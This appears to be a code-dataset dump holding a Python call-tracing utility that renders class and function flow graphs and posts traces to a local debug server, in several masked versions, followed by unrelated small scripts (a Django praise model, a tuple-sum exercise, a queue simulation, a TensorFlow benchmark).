with open(args.load) as fp:
for l in fp:
cls, t, func = l.strip().split(',', 2)
requests.post(args.url, data={
'class':cls,
'fun':func,
'time':t,
})
if __name__ == '__main__':
main()
|
flexible
|
{
"blob_id": "80bf208f1d658b639d650af8208a744ed2dd258f",
"index": 9355,
"step-1": "<mask token>\n\n\nclass TracePoint:\n <mask token>\n <mask token>\n <mask token>\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n <mask token>\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = '\\n\\t'.join([self.render_var(i) for i in TracePoint.flow])\n lcon = '\\n\\t'.join(self.render_flow())\n return TEMP % (fcon + lcon)\n\n\ndef trace(cls):\n\n def _func(func):\n\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args, '|', kargs)\n return func(*args, **kargs)\n return __run\n return _func\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = '\\n\\t'.join([self.render_var(i) for i in TracePoint.flow])\n lcon = '\\n\\t'.join(self.render_flow())\n return TEMP % (fcon + lcon)\n\n\ndef trace(cls):\n\n def _func(func):\n\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args, '|', kargs)\n return func(*args, **kargs)\n return __run\n return _func\n\n\ndef trace_cls(method):\n\n def _trace_cls(cls):\n orig_getattribute = cls.__getattribute__\n\n def new_getattribute(self, name):\n if name in cls.__dict__:\n f = getattr(cls, name)\n args = '(%s)' % ', '.join(f.__code__.co_varnames)\n t = str(time.time())\n if 'http://' in method:\n requests.post('http://localhost:12222/', data={'class':\n cls.__name__, 'fun': name + args, 'time': t})\n else:\n with open(method, 'a+') as fp:\n s = ','.join([cls.__name__, t, name + args])\n fp.write(s + '\\n')\n return orig_getattribute(self, name)\n cls.__getattribute__ = new_getattribute\n return cls\n return _trace_cls\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-l', '--load', default=None, help='loadfile')\n parser.add_argument('--url', default='http://localhost:12222', help=\n 'debug server')\n args = parser.parse_args()\n with open(args.load) as fp:\n for l in fp:\n cls, t, func = l.strip().split(',', 2)\n requests.post(args.url, data={'class': cls, 'fun': func, 'time': t}\n )\n\n\n<mask token>\n",
"step-4": "<mask token>\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = []\n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(','.join([cls, t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no, i in enumerate(TracePoint.flow[1:]):\n cls, t, func = i.split(',', 2)\n fcls, ft, ffunc = first.split(',', 2)\n fn = func.split('(')[0]\n ffn = ffunc.split('(')[0]\n label = '{l} -> {c}'.format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc, _ = self.get_color(cls, func)\n yield '{l} -> {c} [label=\"<span style=\\'color:gray;\\'>{t}</span>|<span style=\\'font-size:18px;color:red\\'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];'.format(\n no=no, l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n def render_var(self, one):\n cls, t, func = one.strip().split(',', 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split('(')[0]\n tmp = (\n '{func_name} [labelType=\"html\" label=\"<span style=\\'font-size:28px;color:{color_f}\\'>{func}</span><span style=\\'color:{color};\\'>class:{cls}</span>\"];'\n .format(func_name=fn, color=color, color_f=color_f, cls=cls,\n func=func))\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace('0x', '#')\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace('0x', '#')\n if len(c) < 4:\n c = c + '0' * (4 - len(c))\n if len(c_f) < 4:\n c_f = c_f + '0' * (4 - len(c_f))\n return c, c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = '\\n\\t'.join([self.render_var(i) for i in TracePoint.flow])\n lcon = '\\n\\t'.join(self.render_flow())\n return TEMP % (fcon + lcon)\n\n\ndef trace(cls):\n\n def _func(func):\n\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args, '|', kargs)\n return func(*args, **kargs)\n return __run\n return _func\n\n\ndef trace_cls(method):\n\n def _trace_cls(cls):\n orig_getattribute = cls.__getattribute__\n\n def new_getattribute(self, name):\n if name in cls.__dict__:\n f = getattr(cls, name)\n args = '(%s)' % ', '.join(f.__code__.co_varnames)\n t = str(time.time())\n if 'http://' in method:\n requests.post('http://localhost:12222/', data={'class':\n cls.__name__, 'fun': name + args, 'time': t})\n else:\n with open(method, 'a+') as fp:\n s = ','.join([cls.__name__, t, name + args])\n fp.write(s + '\\n')\n return orig_getattribute(self, name)\n cls.__getattribute__ = new_getattribute\n return cls\n return _trace_cls\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('-l', '--load', default=None, help='loadfile')\n parser.add_argument('--url', default='http://localhost:12222', help=\n 'debug server')\n args = parser.parse_args()\n with open(args.load) as fp:\n for l in fp:\n cls, t, func = l.strip().split(',', 2)\n requests.post(args.url, data={'class': cls, 'fun': func, 'time': t}\n )\n\n\nif __name__ == '__main__':\n main()\n",
"step-5": "import functools\nimport requests\nimport time\nimport argparse\n\n\nclass TracePoint:\n classes = []\n funcs = []\n flow = []\n\n @staticmethod\n def clear():\n TracePoint.classes = []\n TracePoint.funcs = []\n TracePoint.flow = [] \n\n def __init__(self, cls, func, t):\n if cls not in TracePoint.classes:\n TracePoint.classes.append(cls)\n if cls not in TracePoint.funcs:\n TracePoint.funcs.append(func)\n TracePoint.flow.append(\",\".join([cls,t, func]))\n\n def render_flow(self):\n first = TracePoint.flow[0]\n recods = set()\n for no,i in enumerate(TracePoint.flow[1:]):\n cls,t, func = i.split(',',2)\n fcls,ft, ffunc = first.split(',', 2)\n fn = func.split(\"(\")[0]\n ffn = ffunc.split(\"(\")[0]\n label = \"{l} -> {c}\".format(l=ffn, c=fn)\n if label in recods:\n continue\n recods.add(label)\n lc,_ = self.get_color(cls, func)\n yield \"\"\"{l} -> {c} [label=\"<span style='color:gray;'>{t}</span>|<span style='font-size:18px;color:red'>{no}</span>\" labelType=\"html\" lineInterpolate=basis arrowheadStyle=\"fill: {lc}\" style=\"stroke: {lc}; stroke-width: 1px;\"];\"\"\".format(no=no,l=ffn, c=fn, t=time.ctime(float(t)), lc=lc)\n first = i\n\n\n def render_var(self, one):\n cls,t, func = one.strip().split(\",\", 2)\n color, color_f = self.get_color(cls, func)\n fn = func.split(\"(\")[0]\n tmp = \"\"\"{func_name} [labelType=\"html\" label=\"<span style='font-size:28px;color:{color_f}'>{func}</span><span style='color:{color};'>class:{cls}</span>\"];\"\"\".format(func_name=fn, color=color,color_f=color_f,cls=cls, func=func)\n return tmp\n\n def get_color(self, cls, func):\n base = 4096 // len(TracePoint.classes)\n base_f = 4096 // len(TracePoint.funcs)\n c = hex(base * TracePoint.classes.index(cls)).replace(\"0x\", \"#\")\n c_f = hex(base_f * TracePoint.funcs.index(func)).replace(\"0x\", \"#\")\n if len(c) < 4:\n c = c + '0'* (4- len(c))\n if len(c_f) < 4:\n c_f = c_f + '0'* (4- len(c_f))\n return c,c_f\n\n def __repr__(self):\n TEMP = \"\"\"\ndigraph {\n /* Note: HTML labels do not work in IE, which lacks support for <foreignObject> tags. */\n node [rx=7 ry=7 labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n edge [labelStyle=\"font: 300 14px 'Helvetica Neue', Helvetica\"]\n %s\n}\n\"\"\"\n fcon = \"\\n\\t\".join([self.render_var(i) for i in TracePoint.flow])\n lcon = \"\\n\\t\".join(self.render_flow())\n return TEMP % (fcon + lcon)\n\ndef trace(cls):\n\n def _func(func):\n @functools.wraps(func)\n def __run(*args, **kargs):\n print(func.__name__, args,\"|\" ,kargs)\n return func(*args, **kargs)\n\n return __run\n return _func\n\n\ndef trace_cls(method):\n def _trace_cls(cls):\n # Get the original implementation\n orig_getattribute = cls.__getattribute__\n\n # Make a new definition\n def new_getattribute(self, name):\n if name in cls.__dict__:\n f = getattr(cls, name)\n args = \"(%s)\" % ', '.join(f.__code__.co_varnames)\n t = str(time.time())\n\n if \"http://\" in method:\n requests.post(\"http://localhost:12222/\", data={\n 'class':cls.__name__,\n 'fun':name + args,\n 'time':t,\n })\n else:\n with open(method, \"a+\") as fp:\n s = \",\".join([cls.__name__,t,name + args])\n fp.write(s + \"\\n\")\n return orig_getattribute(self, name)\n\n # Attach to the class and return\n cls.__getattribute__ = new_getattribute\n return cls\n return _trace_cls\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-l\",\"--load\",default=None,help=\"loadfile\")\n parser.add_argument(\"--url\", default='http://localhost:12222',help=\"debug server\")\n\n args = parser.parse_args()\n with open(args.load) as fp:\n for l in fp:\n cls, t, func = l.strip().split(',', 2)\n requests.post(args.url, data={\n 'class':cls,\n 'fun':func,\n 'time':t,\n })\n\nif __name__ == '__main__':\n main()\n",
"step-ids": [
6,
9,
11,
12,
14
]
}
|
[
6,
9,
11,
12,
14
] |
from django.contrib.postgres.fields import JSONField
from django.db import models
from service.models import TimeStampedModel
class Praise(TimeStampedModel):
class Meta:
verbose_name = '칭찬'
verbose_name_plural = verbose_name
content = models.CharField(verbose_name='내용', unique=True, max_length=200)
class PraiseHistory(TimeStampedModel):
class Meta:
verbose_name = '칭찬 내역'
verbose_name_plural = verbose_name
praise = models.ForeignKey(Praise, verbose_name='칭찬')
choices = JSONField(verbose_name='칭찬 대상 목록')
sender_key = models.CharField(verbose_name='보낸 사람 user key', max_length=200
)
receiver_key = models.CharField(verbose_name='받은 사람 user key',
max_length=200)
|
normal
|
{
"blob_id": "a4db12fee72989f983c1069839dc0a5ede4561a3",
"index": 686,
"step-1": "<mask token>\n\n\nclass PraiseHistory(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬 내역'\n verbose_name_plural = verbose_name\n praise = models.ForeignKey(Praise, verbose_name='칭찬')\n choices = JSONField(verbose_name='칭찬 대상 목록')\n sender_key = models.CharField(verbose_name='보낸 사람 user key', max_length=200\n )\n receiver_key = models.CharField(verbose_name='받은 사람 user key',\n max_length=200)\n",
"step-2": "<mask token>\n\n\nclass Praise(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬'\n verbose_name_plural = verbose_name\n <mask token>\n\n\nclass PraiseHistory(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬 내역'\n verbose_name_plural = verbose_name\n praise = models.ForeignKey(Praise, verbose_name='칭찬')\n choices = JSONField(verbose_name='칭찬 대상 목록')\n sender_key = models.CharField(verbose_name='보낸 사람 user key', max_length=200\n )\n receiver_key = models.CharField(verbose_name='받은 사람 user key',\n max_length=200)\n",
"step-3": "<mask token>\n\n\nclass Praise(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬'\n verbose_name_plural = verbose_name\n content = models.CharField(verbose_name='내용', unique=True, max_length=200)\n\n\nclass PraiseHistory(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬 내역'\n verbose_name_plural = verbose_name\n praise = models.ForeignKey(Praise, verbose_name='칭찬')\n choices = JSONField(verbose_name='칭찬 대상 목록')\n sender_key = models.CharField(verbose_name='보낸 사람 user key', max_length=200\n )\n receiver_key = models.CharField(verbose_name='받은 사람 user key',\n max_length=200)\n",
"step-4": "from django.contrib.postgres.fields import JSONField\nfrom django.db import models\nfrom service.models import TimeStampedModel\n\n\nclass Praise(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬'\n verbose_name_plural = verbose_name\n content = models.CharField(verbose_name='내용', unique=True, max_length=200)\n\n\nclass PraiseHistory(TimeStampedModel):\n\n\n class Meta:\n verbose_name = '칭찬 내역'\n verbose_name_plural = verbose_name\n praise = models.ForeignKey(Praise, verbose_name='칭찬')\n choices = JSONField(verbose_name='칭찬 대상 목록')\n sender_key = models.CharField(verbose_name='보낸 사람 user key', max_length=200\n )\n receiver_key = models.CharField(verbose_name='받은 사람 user key',\n max_length=200)\n",
"step-5": null,
"step-ids": [
2,
3,
4,
5
]
}
|
[
2,
3,
4,
5
] |
# Кицела Каролина ИВТ 3 курс
# Вариант 6
# Найти сумму всех чисел с плавающей точкой
b = ("name", " DeLorean DMC-12", "motor_pos", "rear", "n_of_wheels", 4,
"n_of_passengers", 2, "weight", 1.230, "height", 1.140, "length", 4.216,
"width", 1.857, "max_speed", 177)
print sum(b[9:16:2])
|
normal
|
{
"blob_id": "b5160a2574dd2c4eec542d7aca8288da0feadaba",
"index": 5702,
"step-1": "# Кицела Каролина ИВТ 3 курс \n# Вариант 6 \n# Найти сумму всех чисел с плавающей точкой\n\nb = (\"name\",\t\"\tDeLorean\tDMC-12\",\t\"motor_pos\",\t\"rear\",\t\"n_of_wheels\",\t4,\n\"n_of_passengers\",\t2,\t\"weight\",\t1.230,\t\"height\",\t1.140,\t\"length\",\t4.216,\n \"width\", 1.857, \"max_speed\", 177)\n\nprint sum(b[9:16:2])\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for _ in range(t):
n, m = map(int, sys.stdin.readline().split())
q = deque(map(int, sys.stdin.readline().split()))
count = 0
while q:
highest = max(q)
doc = q.popleft()
m -= 1
if doc != highest:
q.append(doc)
if m < 0:
m = len(q) - 1
else:
count += 1
if m < 0:
print(count)
break
<|reserved_special_token_1|>
<|reserved_special_token_0|>
t = int(sys.stdin.readline().rstrip())
for _ in range(t):
n, m = map(int, sys.stdin.readline().split())
q = deque(map(int, sys.stdin.readline().split()))
count = 0
while q:
highest = max(q)
doc = q.popleft()
m -= 1
if doc != highest:
q.append(doc)
if m < 0:
m = len(q) - 1
else:
count += 1
if m < 0:
print(count)
break
<|reserved_special_token_1|>
import sys
from collections import deque
t = int(sys.stdin.readline().rstrip())
for _ in range(t):
n, m = map(int, sys.stdin.readline().split())
q = deque(map(int, sys.stdin.readline().split()))
count = 0
while q:
highest = max(q)
doc = q.popleft()
m -= 1
if doc != highest:
q.append(doc)
if m < 0:
m = len(q) - 1
else:
count += 1
if m < 0:
print(count)
break
|
flexible
|
{
"blob_id": "a571abd88184c8d8bb05245e9c3ce2e4dabb4c09",
"index": 615,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor _ in range(t):\n n, m = map(int, sys.stdin.readline().split())\n q = deque(map(int, sys.stdin.readline().split()))\n count = 0\n while q:\n highest = max(q)\n doc = q.popleft()\n m -= 1\n if doc != highest:\n q.append(doc)\n if m < 0:\n m = len(q) - 1\n else:\n count += 1\n if m < 0:\n print(count)\n break\n",
"step-3": "<mask token>\nt = int(sys.stdin.readline().rstrip())\nfor _ in range(t):\n n, m = map(int, sys.stdin.readline().split())\n q = deque(map(int, sys.stdin.readline().split()))\n count = 0\n while q:\n highest = max(q)\n doc = q.popleft()\n m -= 1\n if doc != highest:\n q.append(doc)\n if m < 0:\n m = len(q) - 1\n else:\n count += 1\n if m < 0:\n print(count)\n break\n",
"step-4": "import sys\nfrom collections import deque\nt = int(sys.stdin.readline().rstrip())\nfor _ in range(t):\n n, m = map(int, sys.stdin.readline().split())\n q = deque(map(int, sys.stdin.readline().split()))\n count = 0\n while q:\n highest = max(q)\n doc = q.popleft()\n m -= 1\n if doc != highest:\n q.append(doc)\n if m < 0:\n m = len(q) - 1\n else:\n count += 1\n if m < 0:\n print(count)\n break\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
import datetime
import numpy as np
import tensorflow as tf
from alphai_time_series.performance_trials.performance import Metrics
import alphai_cromulon_oracle.cromulon.evaluate as crocubot_eval
import alphai_cromulon_oracle.cromulon.train as crocubot_train
from alphai_cromulon_oracle.cromulon.helpers import TensorflowPath, TensorboardOptions
from alphai_cromulon_oracle.cromulon.model import CrocuBotModel
from alphai_feature_generation.classifier import BinDistribution
from alphai_cromulon_oracle.data.providers import TrainDataProviderForDataSource
from alphai_cromulon_oracle.helpers import printtime, execute_and_get_duration
import examples.iotools as io
from examples.benchmark.helpers import print_time_info
from examples.helpers import D_TYPE, load_default_topology
def run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):
topology = load_default_topology(series_name, tf_flags)
# First need to establish bin edges using full training set
n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)
bin_distribution = _create_bin_distribution(series_name, n_train_samples, topology)
batch_size = tf_flags.batch_size
save_path = io.build_check_point_filename(series_name, topology, tf_flags)
@printtime(message="Training {} with do_train: {}".format(series_name, int(do_training)))
def _do_training():
execution_time = datetime.datetime.now()
if do_training:
data_provider = TrainDataProviderForDataSource(
series_name,
D_TYPE,
n_train_samples,
batch_size,
True,
bin_distribution.bin_edges
)
train_x = data_provider.get_batch(0)
raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.batch_size)
tensorflow_path = TensorflowPath(save_path, tf_flags.model_save_path)
tensorboard_options = TensorboardOptions(tf_flags.tensorboard_log_path,
tf_flags.learning_rate,
batch_size,
execution_time
)
crocubot_train.train(topology,
data_provider,
tensorflow_path,
tensorboard_options,
tf_flags
)
else:
tf.reset_default_graph()
model = CrocuBotModel(topology)
model.build_layers_variables()
train_time, _ = execute_and_get_duration(_do_training)
print("Training complete.")
eval_time, _ = execute_and_get_duration(evaluate_network, topology, series_name, batch_size,
save_path, bin_distribution, tf_flags)
print('Metrics:')
print_time_info(train_time, eval_time)
def _create_bin_distribution(series_name, n_training_samples, topology):
data_provider = TrainDataProviderForDataSource(series_name, D_TYPE, n_training_samples, n_training_samples, True)
train_data = data_provider.get_batch(0)
return BinDistribution(train_data.labels, topology.n_classification_bins)
@printtime(message="Evaluation of Stocastic Series")
def evaluate_network(topology, series_name, batch_size, save_path, bin_dist, tf_flags):
n_training_samples = batch_size * 2
data_provider = TrainDataProviderForDataSource(series_name, D_TYPE, n_training_samples, batch_size, False)
test_features, test_labels = data_provider.get_batch(1)
binned_outputs = crocubot_eval.eval_neural_net(test_features, topology, tf_flags, save_path)
estimated_means, estimated_covariance = crocubot_eval.forecast_means_and_variance(
binned_outputs, bin_dist, tf_flags)
test_labels = np.squeeze(test_labels)
model_metrics = Metrics()
model_metrics.evaluate_sample_performance(
data_provider.data_source,
test_labels,
estimated_means,
estimated_covariance
)
|
normal
|
{
"blob_id": "bef16443f77b2c1e09db9950a4617703085d9f71",
"index": 7807,
"step-1": "<mask token>\n\n\ndef run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):\n topology = load_default_topology(series_name, tf_flags)\n n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)\n bin_distribution = _create_bin_distribution(series_name,\n n_train_samples, topology)\n batch_size = tf_flags.batch_size\n save_path = io.build_check_point_filename(series_name, topology, tf_flags)\n\n @printtime(message='Training {} with do_train: {}'.format(series_name,\n int(do_training)))\n def _do_training():\n execution_time = datetime.datetime.now()\n if do_training:\n data_provider = TrainDataProviderForDataSource(series_name,\n D_TYPE, n_train_samples, batch_size, True, bin_distribution\n .bin_edges)\n train_x = data_provider.get_batch(0)\n raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.\n batch_size)\n tensorflow_path = TensorflowPath(save_path, tf_flags.\n model_save_path)\n tensorboard_options = TensorboardOptions(tf_flags.\n tensorboard_log_path, tf_flags.learning_rate, batch_size,\n execution_time)\n crocubot_train.train(topology, data_provider, tensorflow_path,\n tensorboard_options, tf_flags)\n else:\n tf.reset_default_graph()\n model = CrocuBotModel(topology)\n model.build_layers_variables()\n train_time, _ = execute_and_get_duration(_do_training)\n print('Training complete.')\n eval_time, _ = execute_and_get_duration(evaluate_network, topology,\n series_name, batch_size, save_path, bin_distribution, tf_flags)\n print('Metrics:')\n print_time_info(train_time, eval_time)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):\n topology = load_default_topology(series_name, tf_flags)\n n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)\n bin_distribution = _create_bin_distribution(series_name,\n n_train_samples, topology)\n batch_size = tf_flags.batch_size\n save_path = io.build_check_point_filename(series_name, topology, tf_flags)\n\n @printtime(message='Training {} with do_train: {}'.format(series_name,\n int(do_training)))\n def _do_training():\n execution_time = datetime.datetime.now()\n if do_training:\n data_provider = TrainDataProviderForDataSource(series_name,\n D_TYPE, n_train_samples, batch_size, True, bin_distribution\n .bin_edges)\n train_x = data_provider.get_batch(0)\n raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.\n batch_size)\n tensorflow_path = TensorflowPath(save_path, tf_flags.\n model_save_path)\n tensorboard_options = TensorboardOptions(tf_flags.\n tensorboard_log_path, tf_flags.learning_rate, batch_size,\n execution_time)\n crocubot_train.train(topology, data_provider, tensorflow_path,\n tensorboard_options, tf_flags)\n else:\n tf.reset_default_graph()\n model = CrocuBotModel(topology)\n model.build_layers_variables()\n train_time, _ = execute_and_get_duration(_do_training)\n print('Training complete.')\n eval_time, _ = execute_and_get_duration(evaluate_network, topology,\n series_name, batch_size, save_path, bin_distribution, tf_flags)\n print('Metrics:')\n print_time_info(train_time, eval_time)\n\n\n<mask token>\n\n\n@printtime(message='Evaluation of Stocastic Series')\ndef evaluate_network(topology, series_name, batch_size, save_path, bin_dist,\n tf_flags):\n n_training_samples = batch_size * 2\n data_provider = TrainDataProviderForDataSource(series_name, D_TYPE,\n n_training_samples, batch_size, False)\n test_features, test_labels = data_provider.get_batch(1)\n binned_outputs = crocubot_eval.eval_neural_net(test_features, topology,\n tf_flags, save_path)\n estimated_means, estimated_covariance = (crocubot_eval.\n forecast_means_and_variance(binned_outputs, bin_dist, tf_flags))\n test_labels = np.squeeze(test_labels)\n model_metrics = Metrics()\n model_metrics.evaluate_sample_performance(data_provider.data_source,\n test_labels, estimated_means, estimated_covariance)\n",
"step-3": "<mask token>\n\n\ndef run_timed_benchmark_time_series(series_name, tf_flags, do_training=True):\n topology = load_default_topology(series_name, tf_flags)\n n_train_samples = np.minimum(tf_flags.n_training_samples_benchmark, 10000)\n bin_distribution = _create_bin_distribution(series_name,\n n_train_samples, topology)\n batch_size = tf_flags.batch_size\n save_path = io.build_check_point_filename(series_name, topology, tf_flags)\n\n @printtime(message='Training {} with do_train: {}'.format(series_name,\n int(do_training)))\n def _do_training():\n execution_time = datetime.datetime.now()\n if do_training:\n data_provider = TrainDataProviderForDataSource(series_name,\n D_TYPE, n_train_samples, batch_size, True, bin_distribution\n .bin_edges)\n train_x = data_provider.get_batch(0)\n raw_train_data = TrainDataProvider(train_x, train_y, tf_flags.\n batch_size)\n tensorflow_path = TensorflowPath(save_path, tf_flags.\n model_save_path)\n tensorboard_options = 